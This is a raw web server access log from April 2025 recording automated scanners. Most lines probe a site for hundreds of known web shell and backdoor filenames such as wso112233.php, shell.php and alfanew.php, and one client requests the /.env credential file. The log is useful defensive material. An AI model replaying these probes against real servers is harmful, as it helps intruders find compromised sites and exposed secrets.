795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:31 -0400] "GET /components/attari.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:31 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:32 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:32 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:33 -0400] "GET /wp-admin/includes/legendneverdie.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:34 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:34 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:35 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:36 -0400] "GET /cong.php935 HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:36 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:37 -0400] "GET /wp-content/plugins/portfolio-post-type/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:38 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:39 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:40 -0400] "GET /wp-content/languages/file.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:41 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:42 -0400] "GET /wp-includes/images/wthvideo.min.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:43 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:45 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:46 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:47 -0400] "GET /csxcvtg6v?key=51851b87a35f6a6288e1eef649afb2dccss.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:48 -0400] "GET /wp-admin/css/colors/sunrise/HmfdSRigQv.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:49 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:50 -0400] "GET /css/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:51 -0400] "GET /bovaxayy.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:52 -0400] "GET /wp-admin/css/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:53 -0400] "GET /wp-includes/ovackgowa.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:54 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:55 -0400] "GET /shirtkobain/mail.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:55 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:57 -0400] "GET /wp-includes/wp-class-entry-shield.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:58 -0400] "GET /.well-known/tiny.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:00 -0400] "GET /wp-admin/css/upgrade.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:00 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:01 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:02 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:03 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:05 -0400] "GET /wp-content/plugins/wxzanln/ovarxggtq.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:09 -0400] "GET /.well-known/acme-challenge/index_php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:13 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:16 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:20 -0400] "GET /ulc6.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:22 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:23 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:24 -0400] "GET /wp-content/upgrade/8eNAbZK4gI.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:24 -0400] "GET /.well-known/pki-validation/class_api.php999 HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:26 -0400] "GET /autoloadclassmap.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:28 -0400] "GET /tjspfvjh.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:29 -0400] "GET /wp-content/plugins/erinyani/baxa1.php7 HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:29 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:31 -0400] "GET /.well-known/crlunpft.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:32 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:33 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:34 -0400] "GET /wp-content/languages/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:35 -0400] "GET /wp-content/uploads/6CCPahUZVr.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:37 -0400] "GET /.well-known/pki-validation/akrcovxu.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:38 -0400] "GET /.well-known/xoxo.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:39 -0400] "GET /admin/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:40 -0400] "GET /wp-admin/images/media-button-other.gif.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:41 -0400] "GET /wp-includes/random_compat/niko.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:42 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:43 -0400] "GET /assets/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:44 -0400] "GET /bakvxppf.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:44 -0400] "GET /wp-admin/maint/k.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:45 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:46 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:46 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:47 -0400] "GET /wp-admin/maint/item.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:48 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:48 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:49 -0400] "GET /wp-content/plugins/xolanpf/ovamsmcsg.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:50 -0400] "GET /wp-content/themes/Divi-2/core/ovaawqfhg.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:51 -0400] "GET /wp-includes/media-blogs.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:53 -0400] "GET /wp-content/upgrade/newch.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:53 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:55 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:55 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:56 -0400] "GET /0yhs1bgh.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:57 -0400] "GET /css/text.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:57 -0400] "GET /hvemizso.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:58 -0400] "GET /wp-content/uploads/2023/10/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:59 -0400] "GET /wp-includes/uttiwenl.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:00:59 -0400] "GET /.well-known/acme-challenge/edii7rIWJF.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:00 -0400] "GET /.well-known/acme-challenge/indec.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:01 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:01 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:02 -0400] "GET /wp-content/plugins/dxoksvn/ovandccqr.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:03 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:04 -0400] "GET /.well-known/acme-challenge/lo.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:06 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:08 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:10 -0400] "GET /wp-content/moderation.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:11 -0400] "GET /.well-known/acme-challenge/fai.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:13 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:14 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:15 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:16 -0400] "GET /files/file_uploader.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:17 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:18 -0400] "GET /wp-content/plugins/ecphbbr/ovadncdwv.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:19 -0400] "GET /wordpress/wp-content/themes/as/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:19 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:20 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:20 -0400] "GET /wp-admin/css/colors/ectoplasm/JWWwEMipZk.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:21 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:22 -0400] "GET /rrwrzgsf.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:22 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:23 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:23 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:24 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:24 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:25 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:25 -0400] "GET /wp-includes/SimplePie/Cache/checkbex.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:26 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:27 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:28 -0400] "GET /wp-content/themes/wp-pridmag/lock.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:28 -0400] "GET /wordpress/wp-includes/blocks/list-item/ovabliphi.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:29 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:30 -0400] "GET /.well-known/pyfskulr.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:30 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:31 -0400] "GET /wp-includes/Requests/Cookie/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:32 -0400] "GET /wp-includes/css/category-template-1735882605.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:33 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:34 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:34 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:35 -0400] "GET /wp-includes/Text/Diff/Renderer/ltiies.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:35 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:36 -0400] "GET /assets/index1.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:09:01:37 -0400] "GET /wp-content/plugins/elementor/includes/ovamstwqf.php HTTP/1.1" 301 795 "-" "-" 43.157.168.43 - - [22/Apr/2025:09:08:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 147.185.132.10 - - [22/Apr/2025:09:10:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 185.15.62.100 - - [22/Apr/2025:09:16:47 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 52.164.127.136 - - [22/Apr/2025:09:55:03 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:05 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:06 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:07 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:08 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:08 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:09 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:10 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:10 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:11 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:11 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:12 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:13 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:14 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:15 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:16 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:17 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:19 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:20 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:21 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:22 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:23 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:24 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:24 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:25 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:26 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:26 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:27 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:28 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:28 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:29 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:29 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:30 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:30 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:31 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:31 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:32 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:32 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:33 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:33 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:34 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:34 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:35 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:35 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:36 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:37 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:38 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:39 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:39 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:40 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:40 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:41 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [22/Apr/2025:09:55:42 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 17.241.227.240 - - [22/Apr/2025:10:10:59 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.227.240 - - [22/Apr/2025:10:11:01 -0400] "GET /social-media-marketing-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.227.206 - - [22/Apr/2025:10:21:31 -0400] "GET /graphic-design-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 113.116.195.122 - - [22/Apr/2025:10:51:32 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.116.195.122 - - [22/Apr/2025:10:51:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 196.251.112.155 - - [22/Apr/2025:11:04:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 135.125.27.249 - - [22/Apr/2025:11:05:54 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:11:09:29 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:11:11:06 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:11:13:59 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 2a02:c206:3015:2326::1 - - [22/Apr/2025:11:19:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 135.125.27.249 - - [22/Apr/2025:11:26:06 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 142.202.190.32 - - [22/Apr/2025:11:36:27 -0400] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 142.202.190.32 - - [22/Apr/2025:11:36:33 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 135.125.27.249 - - [22/Apr/2025:11:40:02 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:11:42:52 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:11:44:15 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:11:45:06 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:11:54:54 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" 